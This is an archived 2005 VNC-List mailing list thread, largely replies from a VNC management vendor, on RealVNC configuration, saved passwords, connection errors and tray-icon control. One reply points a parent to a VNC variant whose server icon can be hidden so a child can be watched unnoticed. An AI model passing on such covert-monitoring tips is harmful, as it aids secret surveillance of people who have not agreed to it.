After much work, I was able to get RealVNC going in Windows Vista RC2. For some reason, I had to modify the default port from 5900 to something else. It seems like something in Vista has assumed your default port number? Microsoft's way of trying to snuff out VNC? ;) Anyways, after getting the service to let me connect on that alternate port, I ran into another problem. The screen is all black in the viewer and I can't move the remote mouse or send keys to the server. Do you guys already know about this and is there a work around in the works? Thank you! Steve Bostedor Bozteck VNC/RDP Management http://www.vncscan.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: How to hide vnc icon
How about setting permissions on the HKEY_LOCAL_MACHINE\SOFTWARE\orl and related registry keys? You can specify only a certain group (excluding Administrators) to modify those keys. That controls things much tighter than the built-in VNC restrictions. Steve Bostedor http://www.vncscan.com More than just a VNC manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Erik Soderquist Sent: Tuesday, November 22, 2005 2:34 PM To: vnc-list@realvnc.com Cc: [EMAIL PROTECTED] Subject: RE: How to hide vnc icon unfortunately for me, most CAD packages that I have to support here require the user to have admin privilege or the CAD package won't work. in my testing, "won't work" varies between spurious errors during program load (AutoCAD) to program comes up with a message explicitly stating that the user must have admin privilege (UGNX) and then closing. *shrugs* domain policy doesn't let CAD users change system service settings, but I have had CAD users kill off VNC before trying to free up system resources. --- erik -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Tuesday, November 22, 2005 11:31 To: Erik Soderquist; vnc-list@realvnc.com Cc: [EMAIL PROTECTED] Subject: RE: How to hide vnc icon Erik & Marcello, This is not necessary unless the users in question are administrators on the server computers, in which case there is nothing you can do to stop them tampering with the machine if they wish to. Non-administrative users cannot modify VNC 4 settings, nor can they shutdown the Service-Mode server. Cheers, Wez @ RealVNC Ltd. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Erik Soderquist > Sent: 22 November 2005 15:44 > To: vnc-list@realvnc.com > Cc: [EMAIL PROTECTED] > Subject: RE: How to hide vnc icon > > also, for those concerned with killing the process from taskmanager, > this is what we use here: RealVNC is set as a service, AllowShutdown > and per user options are disabled in the registry, on the recovery tab > we have it set to run a program every service crash (task kill shows > up as a service crash) that emails the IT department and restarts the > service. > I've debated about having it automatically connect a session to every > machine in the IT department after recovering from an unexpected crash > so we can look and see if the user is repeatedly killing the process, > but as of yet have not had any cause to do so. > > --- erik > > ps: I've included the script that is run > > --- begin emailerror.cmd --- > > set debug=false > set svc=%2 > set svc3=%3 > set svc4=%4 > set svc5=%5 > set svc6=%6 > set svc7=%7 > set svc8=%8 > set svc9=%9 > if %debug% == true pause > for %%v in ( %svc3% %svc4% %svc5% %svc6% %svc7% %svc8% %svc9% ) do ( > if not "%%v" == "" set svc=%svc% %%v > ) > if %debug% == true pause > set count=%1 > set mainops=-s mcs-email -t [EMAIL PROTECTED] -f [EMAIL PROTECTED] -h > -c if %debug% == true echo variable svc = %svc% >c:\debug.txt if > %debug% == true echo variable count = %count% >>c:\debug.txt if > %debug% == true echo variable mainops = %mainops% >>c:\debug.txt if > %debug% == true echo variable tmp = %tmp% >>c:\debug.txt if %debug% == > true echo variable time = %date% >>c:\debug.txt if %debug% == true > echo variable date = %time% >>c:\debug.txt rem if %debug% == true > pause > > > echo %svc% service crashed at %date% %time%>"%tmp%\report.txt" > echo the crash count is %count%>>"%tmp%\report.txt" > echo attempting to restart...>>"%tmp%\report.txt" > sleep 1 > net start "%svc%">>"%tmp%\report.txt" 2>&1 > > bmail.exe %mainops% -a "%svc% service crash report" -d -m > "%tmp%\report.txt" > > --- end emailerror.cmd --- > > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Erik Soderquist > Sent: Tuesday, November 22, 2005 09:40 > To: vnc-list@realvnc.com > Cc: [EMAIL PROTECTED] > Subject: RE: How to hide vnc icon > > the RealVNC distribution will not allow you to hide the icon at all. > period, end of discussion. > > I believe that you can configure RealVNC to disallow shutting down the > server, or disallow the icon's context menu all together, as I know > this has come up before (*many* times) in previous discussions. > > --- erik > > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Marcelo Oliveira > Sent: Monday, November 21, 2005 14:42 > To: vnc-list@realvnc
RE: Multiple Sessions open in one window
There are a couple commercial products that launch VNC sessions in thumbnail view and allow you to tile them. The one at http://www.vncscan.com is the least expensive ($40) and has been in the VNC arena the longest. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ernest Mancuso Sent: Tuesday, November 15, 2005 2:21 PM To: vnc-list@realvnc.com Subject: FW: Multiple Sessions open in one window Hello, I would like to know if it's possible to have multiple VNC sessions open - all in one window - or on the screen. I know that you can log in to various sessions at the same time - however I don't want to minimize one window and open another. I would like to be able to see multiple sessions all open at the same time on the screen in one window - and then be able to choose which one I want to go into. This would be useful if I wanted to monitor updates on various desktops visually so that I can see which one has finished and needs some attention etc... Does realvnc allow for this to happen? Please let me know at your earliest convenience. Thanks very much. Ernest ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Loading configuration file (was: Session without typing password?)
That's interesting. I experienced that once also, but I figured out
that .vnc was registered to my UltraVNC vncviewer.exe and not the
RealVNC version 4 viewer.exe. Try right-clicking the .vnc file that you
created and choose top "Open With". Browse for the vncviewer.exe that
exists with the version 4 of the server and tell it to open with that.
I believe that the difference is that the vnc4 viewer doesn't put in the
port=5900 in the config file and the vnc3 based viewers expect that.
Instead, the RealVNC 4 viewer just puts host:port as the host.
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Subject: Loading configuration file (was: Session without typing
password?)
BTW, below you find the configuration file which VNCviewer fails to load
("Failed to get server address. Did you type the host name correctly?").
Maybe it does not like the Host be specified by IP address only? But I
have only the IP address, nothing else...
[Connection]
Host=139.23.12.168:32
Password=...
[Options]
UseLocalCursor=1
UseDesktopResize=1
FullScreen=0
FullColour=1
LowColourLevel=1
PreferredEncoding=hextile
AutoSelect=1
Shared=0
SendPtrEvents=1
SendKeyEvents=1
SendCutText=1
AcceptCutText=1
Emulate3=0
PointerEventInterval=0
Monitor=\\.\DISPLAY1
MenuKey=F8
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RE: Session without typing password?
You're correct, John, but that's just for VNC3 based viewers. That threw me for a loop, too, because I don't usually use the RealVNC 4 very much. The menu structure that he reported appears to be a VNC4 viewer and it's all different in there. I also agree with your security warning. It's a lot better than setting the server to not have a pssword, though! :) Steve Bostedor http://www.vncscan.com More than just a VNC manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John Aldrich Sent: Monday, November 14, 2005 9:17 AM To: 'Com MN PG P E B Consultant 3'; vnc-list@realvnc.com Subject: RE: Session without typing password? "Save Configuration File to" is what you're wanting. It will offer to save the password as well, This *can* be a security hole, even though the password is encrypted, so you may or may not want to save the password in the file, if you're using a shared PC. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Com MN PG P E B Consultant 3 Sent: Monday, November 14, 2005 8:42 AM To: vnc-list@realvnc.com Subject: RE: Session without typing password? > You could save the session settings to a .VNC file. When you're in a > session, right-click the title bar and choose to do so from the > context menu. You mean: The title bar of VNC Viewer? There is no menu entry to save the session settings. The menu entries - aside from the usual Windows menu entries such as "resize" and "close" are: Full Screen Ctrl Alt Send F8 Send Ctrl-Alt-Del Refresh Screen New Connection... Options... Connection Info... About... Under Options, there is a Tab "Defaults", with button "Save As Defaults" and "Save Configuration File to...", but nothing related to saving the session settings. Could it be that you are refering to a different menu? Ronald > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B > Consultant 3 > Sent: Monday, November 14, 2005 7:52 AM > To: vnc-list@realvnc.com > Subject: Session without typing password? > > Is it possible to use VNC without requiring me to manually enter a > password everytime I start vncviewer? > > Ronald > -- > Ronald Fischer (phone +49-89-63676431) > mailto:[EMAIL PROTECTED] > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Session without typing password?
Ronald, >From that menu, choose Options. In the options screen, click on the Load/Save tab. From there, you can save your connection info to a file and then double-click on that file from there on. Thank you, Steve Bostedor http://www.vncscan.com More than just a VNC manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B Consultant 3 Sent: Monday, November 14, 2005 8:42 AM To: vnc-list@realvnc.com Subject: RE: Session without typing password? > You could save the session settings to a .VNC file. When you're in a > session, right-click the title bar and choose to do so from the > context menu. You mean: The title bar of VNC Viewer? There is no menu entry to save the session settings. The menu entries - aside from the usual Windows menu entries such as "resize" and "close" are: Full Screen Ctrl Alt Send F8 Send Ctrl-Alt-Del Refresh Screen New Connection... Options... Connection Info... About... Under Options, there is a Tab "Defaults", with button "Save As Defaults" and "Save Configuration File to...", but nothing related to saving the session settings. Could it be that you are refering to a different menu? Ronald > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B > Consultant 3 > Sent: Monday, November 14, 2005 7:52 AM > To: vnc-list@realvnc.com > Subject: Session without typing password? > > Is it possible to use VNC without requiring me to manually enter a > password everytime I start vncviewer? > > Ronald > -- > Ronald Fischer (phone +49-89-63676431) > mailto:[EMAIL PROTECTED] > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Session without typing password?
Ronald, What operating system are you running the viewer in? Steve Bostedor http://www.vncscan.com More than just a VNC manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B Consultant 3 Sent: Monday, November 14, 2005 8:42 AM To: vnc-list@realvnc.com Subject: RE: Session without typing password? > You could save the session settings to a .VNC file. When you're in a > session, right-click the title bar and choose to do so from the > context menu. You mean: The title bar of VNC Viewer? There is no menu entry to save the session settings. The menu entries - aside from the usual Windows menu entries such as "resize" and "close" are: Full Screen Ctrl Alt Send F8 Send Ctrl-Alt-Del Refresh Screen New Connection... Options... Connection Info... About... Under Options, there is a Tab "Defaults", with button "Save As Defaults" and "Save Configuration File to...", but nothing related to saving the session settings. Could it be that you are refering to a different menu? Ronald > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B > Consultant 3 > Sent: Monday, November 14, 2005 7:52 AM > To: vnc-list@realvnc.com > Subject: Session without typing password? > > Is it possible to use VNC without requiring me to manually enter a > password everytime I start vncviewer? > > Ronald > -- > Ronald Fischer (phone +49-89-63676431) > mailto:[EMAIL PROTECTED] > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Session without typing password?
I strongly advise against trying to run a VNC server with no password. That should never be an option. It's one thing to save the password for your personal viewer but it's not wize at all to open that up to the whole world. Most flavors of VNC actually prevnt this from happening. I think that all knowledgable users of this list would agree that this avenue should not be considered given that there are other more secure ways to do what you are asking. The /password switch isn't available for all flavors of VNC server. Do a vncviewer /? To check yours. Steve Bostedor http://www.vncscan.com More than just a VNC manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Yury Averkiev Sent: Monday, November 14, 2005 8:42 AM To: 'Com MN PG P E B Consultant 3' Cc: vnc-list@realvnc.com Subject: RE: Session without typing password? Ronald, it can be done if you set empty password in the VNC server properties. But this is a huge security hole. It's also possible to pass password to a vncviewer.exe using /password command-line switch. Best regards, Yury SmartCode Solutions - The VNC Manager Creator WWW: http://www.s-code.com Tel: +1 (650) 276-0434 or +65 91125904 Fax: +1 (650) 227-6669 > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B > Consultant 3 > Sent: Monday, November 14, 2005 8:52 PM > To: vnc-list@realvnc.com > Subject: Session without typing password? > > Is it possible to use VNC without requiring me to manually enter a > password everytime I start vncviewer? > > Ronald > -- > Ronald Fischer (phone +49-89-63676431) > mailto:[EMAIL PROTECTED] > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Session without typing password?
You could save the session settings to a .VNC file. When you're in a session, right-click the title bar and choose to do so from the context menu. Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Com MN PG P E B Consultant 3 Sent: Monday, November 14, 2005 7:52 AM To: vnc-list@realvnc.com Subject: Session without typing password? Is it possible to use VNC without requiring me to manually enter a password everytime I start vncviewer? Ronald -- Ronald Fischer (phone +49-89-63676431) mailto:[EMAIL PROTECTED] ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: I MUST Hide The Server Icon !
You should check out http://www.ultravnc.com. Theirs has an option to hide the task tray icon. Good luck with the kids! I have two of my own so I understand what you're going through. Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of matelot Sent: Thursday, November 10, 2005 5:31 PM To: vnc-list@realvnc.com Subject: I MUST Hide The Server Icon ! If you don't have a tray icon for your VNC server then you're either running a very old release that has been mis-configured, or a VNC 4.x release hacked by a third party to remove the icon. Standard VNC 4.x series releases always show a tray icon. Regards, Wez @ RealVNC Ltd. << - OK, I really MUST need the Server icon NOT showing else VNC is plain useless to me. Reason: I need help ! I need to take some action ! I need to monitor my kid !!! I suspect she's been chatting with questionalble characters and visiting bad sites. So can the icon be hidden with "VNC 3.3.7" ??? Please responde ASAP Thanks Matt Win XP sp-1 ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: 1st time problem, connection refused
Hello Chris, This is pretty vague. What troubleshooting have you done so far? Have you eliminated firewalls and restarted computers? Thank you! Steve Bostedor http://www.vncscan.com More than just a VNC manager -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of chris downs Sent: Wednesday, November 09, 2005 9:26 AM To: vnc-list@realvnc.com Subject: 1st time problem, connection refused I installed the server. I can ping it remotely. Then when I start the viewer on the remote, I get connection refused. Can somebody please point this newbie to a solution? Thanks. __ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Keeping the client's IP address visible for a longer time
Can you just have them run ipconfig from a command prompt to tell you? Alternatively, you can download a little applet named MyDetails from http://www.vncscan.com/mydetails.zip and toss the .exe on each desktop. Steve Bostedor http://www.vncscan.com More than just a VNC manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John Lynes Sent: Sunday, November 06, 2005 7:18 PM To: vnc-list@realvnc.com Subject: Keeping the client's IP address visible for a longer time I've used this product for many years, and I must say that it has been a great tool. The only issue is keeping the IP address visible for a longer period of time. I normally have the person roll their mouse over the VNC icon in the systray, they read the IP, and I connect to them for troubleshooting. The IP goes away in roughly five seconds, and will not come back. Any thoughts about this? Thanks... ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: TridiaVNC.com misinformation campaign
Definitely. Any remote administration product can be configured in an insecure manner that allows anonymous remote access ... Including the one that they are trying to sell as a replacement for VNC. In my opinion, it's just unethical marketing tactics. They aren't just saying that it is insecure if misconfigures, though. They are saying that you CAN'T configure it to be secure by misreporting the feature set. Steve Bostedor http://www.vncscan.com More than just a VNC manager -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ook Sent: Saturday, November 05, 2005 9:03 PM To: [EMAIL PROTECTED]; vnc-list@realvnc.com Subject: Re: TridiaVNC.com misinformation campaign Can you not say the same about other remote control products - pcAnywhere, Dell KVM, etc.? Sure, you can configure them for logging, but who does? You can scan the Internet at any time and find computers running pcaw with NO password at all. - Original Message ----- From: "Steve Bostedor" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]>; Sent: Saturday, November 05, 2005 2:41 PM Subject: TridiaVNC.com misinformation campaign > Have any of you stopped by http://www.tridiaVNC.com lately? I did today > and I was appalled at what they had to say about VNC. They have been in > the VNC market place far too long to be able to claim ignorance to the > distributions of VNC that do EXACTLY what they claim VNC can not do. > > They stated, "Any computer on which VNC is installed will provide total, > unfettered, and anonymous access to anyone, anywhere who connects with > an active password. Deployed in a business context, VNC represents an > unacceptable - and unnecessary - security and regulatory compliance > risk." > > How can a company that has sucked so much money from the VNC community > (their VNC product and support was NOT cheap) do an about face and trash > on that very same product once they decide to write their own?! > > I'm sorry, I just had to come up here and vent. For the record, > UltraVNC and the RealVNC Enterprise Edition both support domain level > login for VNC contrary to the lies on the tridiaVNC website. Things > like this just drive me crazy. > > Thank you, > > Steve Bostedor > http://www.vncscan.com > > > > --- > SF.Net email is sponsored by: > Tame your development challenges with Apache's Geronimo App Server. > Download > it for free - -and be entered to win a 42" plasma tv or your very own > Sony(tm)PSP. Click here to play: http://sourceforge.net/geronimo.php > ___ > TightVNC mailing list, [EMAIL PROTECTED] > To change your subscription or to UNSUBSCRIBE, please visit > https://lists.sourceforge.net/lists/listinfo/vnc-tight-list --- SF.Net email is sponsored by: Tame your development challenges with Apache's Geronimo App Server. Download it for free - -and be entered to win a 42" plasma tv or your very own Sony(tm)PSP. Click here to play: http://sourceforge.net/geronimo.php ___ TightVNC mailing list, [EMAIL PROTECTED] To change your subscription or to UNSUBSCRIBE, please visit https://lists.sourceforge.net/lists/listinfo/vnc-tight-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
TridiaVNC.com misinformation campaign
Have any of you stopped by http://www.tridiaVNC.com lately? I did today and I was appalled at what they had to say about VNC. They have been in the VNC market place far too long to be able to claim ignorance to the distributions of VNC that do EXACTLY what they claim VNC can not do. They stated, "Any computer on which VNC is installed will provide total, unfettered, and anonymous access to anyone, anywhere who connects with an active password. Deployed in a business context, VNC represents an unacceptable - and unnecessary - security and regulatory compliance risk." How can a company that has sucked so much money from the VNC community (their VNC product and support was NOT cheap) do an about face and trash on that very same product once they decide to write their own?! I'm sorry, I just had to come up here and vent. For the record, UltraVNC and the RealVNC Enterprise Edition both support domain level login for VNC contrary to the lies on the tridiaVNC website. Things like this just drive me crazy. Thank you, Steve Bostedor http://www.vncscan.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: using a single viewer for multiple servers
I agree that the bandwidth requirement could be a bottleneck for that many open viewers. You could use VNC Scan (http://www.vncscan.com) to launch them in thumbnail view and then tile them from the task tray if the bandwidth use isn't too overwhelming. Thank you, Steve -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of evets dranem Sent: Tuesday, November 01, 2005 10:42 PM To: Boudreaux, Mark; vnc-list@realvnc.com Subject: Re: using a single viewer for multiple servers Boudreaux, Mark wrote: >I tried looking but I haven't seen this topic addressed. I want to use >VNC in a classroom setting where the student computers will be servers >and the teacher computer will use the viewer. (I've seen plenty of >threads trying to do the opposite - one server to multiple viewers.) >But what I'm looking for is a way to have one viewer easily look at up >to 30 servers simultaneously, without running 30 separate instances of >the viewer. Is there somebody who has already done something like this >and knows of any way to make it happen? It would be nice if it could >be automated, since the hosts are always the same. It would even be >nicer if I could have all of the screens showing as thumbnail size and >then they could be maximized as needed. We're using a mix of Windows platforms - mostly 98 and XP. > > >Mark Boudreaux >Network Manager - STHS >___ >VNC-List mailing list >VNC-List@realvnc.com >To remove yourself from the list visit: >http://www.realvnc.com/mailman/listinfo/vnc-list > > > the item you want to do i launch 30 viewers each pointing at the students PC each window will be unique there are some utilties to tile windows and you can maximize which ever window you are interested in you will need substantial bandwidth being inside the classroom if runnign 100 bas ethernet shoud be quite sufficient as I have found VNC requires about 15K per second which is only 450K per second easi;y acheivable with 100 base ethernet evets ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: No desktop icons, system tray, start menu
Right-click the taskbar and choose properties. Inside the properties box, cilck the radio button to use the classic start menu. After choosing OK, you will see the icons that you are looking for. This is unrelated to VNC but here you have it. :) Steve Bostedor http://www.vncscan.com More than a VNC Manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of JimD Sent: Monday, October 17, 2005 9:01 AM To: vnc-list@realvnc.com Subject: No desktop icons, system tray, start menu I installed the latest vnc 4 free edition (server and viewer) on a windows xp pc recently. Shortly thereafter, I un-installed vnc and now whenever I re-boot the machine there is only a "My Documents" folder automatically displayed. Wallpaper is present, but no desktop icons, system tray, start menu, etc. Is there any way to get the pc back to it's original configuration? I tried a restore point in xp, but to no avail. I'm guessing some services might still be running or registry settings, but not sure. Any help would be greatly appreciated! :-) __ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: SSH Tunneling
If you want to set up a SSH server on each computer to tunnel VNC, here's a link: http://pigtail.net/LRP/vnc/ Thank you, Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of KAUSAR SHAIKH Sent: Monday, October 17, 2005 12:46 AM To: vnc-list@realvnc.com Subject: SSH Tunneling Hello I am fresher. I gone through your official site. We are palnning to use the RealVNC free edition. We want it on untrust n/w. My question is Is SSH Tunneling is possible through RealVNC Free edition? can we configure the SSH port for RealVNC Free edition? Please Reply me ASAP. Thanks in advance. Kausar __ Yahoo! India Matrimony: Find your partner now. Go to http://yahoo.shaadi.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: SSH Tunneling
No, it's not. If you want a free VNC that has built in encryption, you should check out UltraVNC. It is located at http://www.ultravnc.com. It's based upon the oder VNC 3 source code but it works great. I should probably mention that it's only Windows based. :) Unless someone else knows of one, I don't think that there is a free *NIX based VNC server/client that has integrated encryption. Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of KAUSAR SHAIKH Sent: Monday, October 17, 2005 12:46 AM To: vnc-list@realvnc.com Subject: SSH Tunneling Hello I am fresher. I gone through your official site. We are palnning to use the RealVNC free edition. We want it on untrust n/w. My question is Is SSH Tunneling is possible through RealVNC Free edition? can we configure the SSH port for RealVNC Free edition? Please Reply me ASAP. Thanks in advance. Kausar __ Yahoo! India Matrimony: Find your partner now. Go to http://yahoo.shaadi.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Connection closed unexpectedly.
No, that's fine as long as you have the server set to listen on that port and any firewall in between is also forwarding that port. Thank you, Steve Bostedor http://www.vncscan.com More than just a VNC Manager! -Original Message- From: Adam Tranter [mailto:[EMAIL PROTECTED] Sent: Friday, October 14, 2005 4:10 PM To: Steve Bostedor; John Aldrich; vnc-list@realvnc.com Subject: Re: Connection closed unexpectedly. I put it as 6900 because originally I was using 5900 for another VNC viewer, will it make a difference? Untitled Document Kind Regards, Adam Tranter Fusion-Media.co.uk w www.fusion-media.co.uk e [EMAIL PROTECTED] - Original Message - From: "Steve Bostedor" <[EMAIL PROTECTED]> To: "John Aldrich" <[EMAIL PROTECTED]>; "Adam Tranter" <[EMAIL PROTECTED]>; Sent: Friday, October 14, 2005 9:07 PM Subject: RE: Connection closed unexpectedly. I see that you specified port 6900 as the VNC port being used. Was this on purpose, a typo, or possibly the source of the problem? The default TCP port for VNC is 5900 on Windows. Thank you, Steve Bostedor http://www.vncscan.com More than just a VNC Manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John Aldrich Sent: Friday, October 14, 2005 2:16 PM To: 'Adam Tranter'; John Aldrich; vnc-list@realvnc.com Subject: RE: Connection closed unexpectedly. System logs are easy... Start ->Programs ->Administrative Tools ->Event Viewer Fast User Switching & Remote Desktop are a bit harder... Here's a link to a website about how to disable FUS: http://www.stanford.edu/group/itss/pcleland/help/disable_fastswitching.h tm And here's another one on how to disable "Remote Desktop: http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs /en- us/rdesktop_disable.mspx -Original Message- From: Adam Tranter [mailto:[EMAIL PROTECTED] Sent: Friday, October 14, 2005 1:21 PM To: John Aldrich; vnc-list@realvnc.com Subject: Re: Connection closed unexpectedly. Yes, they're both XP machines, I have disabled the firewall on all PCs. (not wise, but I didnt have time to set them up etc) I will check the system logs tomorrow, can you tell me: a) how to check system logs b) how to disabled fast switching and remote desktop Regards, Untitled Document Kind Regards, Adam Tranter Fusion-Media.co.uk w www.fusion-media.co.uk e [EMAIL PROTECTED] - Original Message - From: "John Aldrich" <[EMAIL PROTECTED]> To: "'Adam Tranter'" <[EMAIL PROTECTED]>; Sent: Friday, October 14, 2005 5:23 PM Subject: RE: Connection closed unexpectedly. > Can you give us some more info, such as whether there are any > firewalls between you, operating systems in question, routers, etc? > Also, if this is an XP, or 2000 machine can you check the system log > files to see if there is any information about *why* it is closing? It > sounds like it's authenticating, but then is kicking you off. > One thing you can try, I don't know if it'll help, is to add the > winvnc4.exe executable to the firewall (if any) as an approved > application. Also, if you're using XP and have Fast User Switching > enabled, you need to disable that. Same goes for the "Remote Desktop" > app that comes with XP. > > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Behalf Of Adam Tranter > Sent: Friday, October 14, 2005 11:31 AM > To: vnc-list@realvnc.com > Subject: Connection closed unexpectedly. > > > Hello all, > > When I open Real VNC Viewer 4 and type in my No-Ip address > (mikesbikes.no-ip.info) I almost immediately get the error: The > connection closed unexpectedly. Do you wish to attempt to reconnect to > *.no-ip.info:6900? Yes / No > > It seems strange, I had another PC work on the same network absolutely > fine. > I > really need to get access to the PC, I'm losing patience! Any help > would be great! Thanks. > > Kind Regards, > > Adam Tranter > Fusion-Media.co.uk > > w www.fusion-media.co.uk > e [EMAIL PROTECTED] > > [demime 1.01d removed an attachment of type image/gif which had a name > of sig.gif] ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Connection closed unexpectedly.
